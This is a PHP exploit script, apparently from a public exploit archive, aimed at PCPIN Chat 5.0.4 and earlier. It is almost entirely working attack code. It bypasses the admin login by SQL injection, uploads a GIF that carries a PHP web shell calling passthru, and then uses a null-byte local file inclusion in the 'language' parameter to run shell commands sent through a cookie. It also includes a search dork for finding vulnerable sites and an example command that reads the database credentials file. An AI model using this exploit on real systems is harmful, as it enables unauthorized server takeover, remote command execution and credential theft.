PCPINChat-5.0.4.txt

`#!/usr/bin/php -q -d short_open_tag=on  
<?  
echo "PCPIN Chat <= 5.0.4 \"login/language\" remote cmmnds xctn\r\n";  
echo "by rgod [email protected]\r\n";  
echo "site: http://retrogod.altervista.org\r\n\r\n";  
echo "-> works with magic_quotes_gpc = Off\r\n";  
echo "dork: \"powered by PCPIN.com\"\r\n\r\n";  
  
if ($argc<4) {  
echo "Usage: php ".$argv[0]." host path cmd OPTIONS\r\n";  
echo "host: target server (ip/hostname)\r\n";  
echo "path: path to pcpin\r\n";  
echo "cmd: a shell command\r\n";  
echo "Options:\r\n";  
echo " -p[port]: specify a port other than 80\r\n";  
echo " -P[ip:port]: specify a proxy\r\n";  
echo "Examples:\r\n";  
echo "php ".$argv[0]." localhost /pcpin/ cat ./config/db.inc.php\r\n";  
echo "php ".$argv[0]." localhost /pcpin/ ls -la -p81\r\n";  
echo "php ".$argv[0]." localhost / ls -la -P1.1.1.1:80\r\n";  
die;  
}  
  
/*  
software site: http://www.pcpin.com/  
description: a chat software written in php that uses mysql for data storage  
  
vulnerabilites:  
i) sql injection:  
you can login as admin typing:  
username: ") or isnull(1/0)/*  
password: [whatever]  
  
query becomes:  
SELECT * FROM pcpin_user WHERE (cookie = "#EMPTY#" AND cookie <> "") OR  
(login = "") or isnull(1/0)/* AND password = "[somehash]") AND activated = "1"  
LIMIT 1  
  
ii) arbitrary local inclusion:  
now you can upload smilies with php code inside, we have a local inclusion  
bug in "language" argument when you select a language so, you can include  
a gif file and launch commands...  
  
both works with magic_quotes_gpc=Off  
*/  
error_reporting(0);  
ini_set("max_execution_time",0);  
ini_set("default_socket_timeout",5);  
  
function quick_dump($string)  
{  
$result='';$exa='';$cont=0;  
for ($i=0; $i<=strlen($string)-1; $i++)  
{  
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))  
{$result.=" .";}  
else  
{$result.=" ".$string[$i];}  
if (strlen(dechex(ord($string[$i])))==2)  
{$exa.=" ".dechex(ord($string[$i]));}  
else  
{$exa.=" 0".dechex(ord($string[$i]));}  
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}  
}  
return $exa."\r\n".$result;  
}  
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';  
function sendpacketii($packet)  
{  
global $proxy, $host, $port, $html, $proxy_regex;  
if ($proxy=='') {  
$ock=fsockopen(gethostbyname($host),$port);  
if (!$ock) {  
echo 'No response from '.$host.':'.$port; die;  
}  
}  
else {  
$c = preg_match($proxy_regex,$proxy);  
if (!$c) {  
echo 'Not a valid proxy...';die;  
}  
$parts=explode(':',$proxy);  
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";  
$ock=fsockopen($parts[0],$parts[1]);  
if (!$ock) {  
echo 'No response from proxy...';die;  
}  
}  
fputs($ock,$packet);  
if ($proxy=='') {  
$html='';  
while (!feof($ock)) {  
$html.=fgets($ock);  
}  
}  
else {  
$html='';  
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {  
$html.=fread($ock,1);  
}  
}  
fclose($ock);  
#debug  
#echo "\r\n".$html;  
}  
  
function make_seed()  
{  
list($usec, $sec) = explode(' ', microtime());  
return (float) $sec + ((float) $usec * 100000);  
}  
  
$host=$argv[1];  
$path=$argv[2];  
$cmd="";$port=80;$proxy="";  
  
for ($i=3; $i<=$argc-1; $i++){  
$temp=$argv[$i][0].$argv[$i][1];  
if (($temp<>"-p") and ($temp<>"-P"))  
{$cmd.=" ".$argv[$i];}  
if ($temp=="-p")  
{  
$port=str_replace("-p","",$argv[$i]);  
}  
if ($temp=="-P")  
{  
$proxy=str_replace("-P","",$argv[$i]);  
}  
}  
$cmd=urlencode($cmd);  
  
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}  
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}  
  
  
#step 1 -> sql injection, login as admin  
echo "[1] login...\r\n";  
$sql="\") or isnull(1/0)/*";  
$sql=urlencode($sql);  
$data ="lostpassword=";  
$data.="&include=2";  
$data.="&language=english";  
$data.="&submitted=1";  
$data.="&login=".$sql;  
$data.="&password=suntzu";  
$packet ="POST ".$p."main.php HTTP/1.0\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Accept: text/plain\r\n";  
$packet.="Connection: Close\r\n";  
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";  
$packet.="Content-Length: ".strlen($data)."\r\n\r\n";  
$packet.=$data;  
#debug  
#echo quick_dump($packet);  
sendpacketii($packet);  
$temp=explode("Set-Cookie: ",$html);  
$temp2=explode(" ",$temp[1]);  
$cookie=$temp2[0];  
if ($cookie =='') {die("Unable to retrieve session cookie...");}  
echo "Cookie -> ".$cookie."\r\n";  
$temp=explode("name=\"session_id\" value=\"",$html);  
$temp2=explode("\"",$temp[1]);  
$sid=$temp2[0];  
if ($sid =='') {die("Unable to retrieve session id...");}  
echo "session id -> ".$sid."\r\n";  
  
srand(make_seed());  
$v = rand(1,99999);  
  
#step 2 -> Upload a malicious gif file...  
echo "[2] uploading the gif file...\r\n";  
$data='-----------------------------7d613b1d0448  
Content-Disposition: form-data; name="smiliefile"; filename="suntzu.gif"  
Content-Type: image/gif  
  
<?php echo 56789;ini_set("max_execution_time",0);error_reporting(0);passthru($_REQUEST[suntzu]);echo 56789;?>  
-----------------------------7d613b1d0448  
Content-Disposition: form-data; name="session_id";  
  
'.$sid.'  
-----------------------------7d613b1d0448  
Content-Disposition: form-data; name="include";  
  
26  
-----------------------------7d613b1d0448  
Content-Disposition: form-data; name="text";  
  
suntzu'.$v.'  
-----------------------------7d613b1d0448  
Content-Disposition: form-data; name="smilie_id"  
  
  
-----------------------------7d613b1d0448  
Content-Disposition: form-data; name="add"  
  
1  
-----------------------------7d613b1d0448  
Content-Disposition: form-data; name="edit"  
  
  
-----------------------------7d613b1d0448  
Content-Disposition: form-data; name="submitted"  
  
1  
-----------------------------7d613b1d0448--  
';  
  
  
$packet ="POST ".$p."main.php HTTP/1.0\r\n";  
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d613b1d0448\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Content-Length: ".strlen($data)."\r\n";  
$packet.="Connection: Close\r\n";  
$packet.="Cookie: ".$cookie."\r\n\r\n";  
$packet.=$data;  
#debug  
#echo quick_dump($packet);  
sendpacketii($packet);  
//echo $html;  
$temp=explode("smilies/",$html); //file is renamed, let's retrieve new filename...it is the last in smilies list  
$temp2=explode("\"",$temp[count($temp)-1]);  
$fn=$temp2[0];  
if ($fn =='') {die("Unable to retrieve evil gif filename...");}  
echo "filename -> ".$fn."\r\n";  
  
#step 3-> logout... you need this to launch again exploit  
echo "[3] logout...\r\n";  
$data="session_id=".$sid."&include=9";  
$packet ="POST ".$p."main.php HTTP/1.0\r\n";  
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Content-Length: ".strlen($data)."\r\n";  
$packet.="Connection: Close\r\n";  
$packet.="Cookie: ".$cookie."\r\n\r\n";  
$packet.=$data;  
#debug  
#echo quick_dump($packet);  
sendpacketii($packet);  
if (strstr($html,"window.location.href")) {echo "done...\r\n";}  
else {echo "maybe not...\r\n";}  
  
#step 4-> launch commands  
echo "[4] sending command...\r\n";  
$xpl=urlencode("../images/smilies/".$fn.chr(0x00));  
$data="language=".$xpl;  
$packet ="POST ".$p."main.php HTTP/1.0\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";  
$packet.="Cookie: suntzu=".$cmd.";\r\n"; //pass commands through cookies  
$packet.="Content-Length: ".strlen($data)."\r\n";  
$packet.="Connection: Close\r\n\r\n";  
$packet.=$data;  
#debug  
#echo quick_dump($packet);  
sendpacketii($packet);  
if (strstr($html,"56789"))  
{  
echo "Exploit succeeded...\r\n\r\n";  
$temp=explode("56789",$html);  
die($temp[1]);  
}  
//if you are here...  
echo "Exploit failed...";  
?>  
  
  
original advisory:  
  
http://retrogod.altervista.org/pcpin_504_xpl.html  
`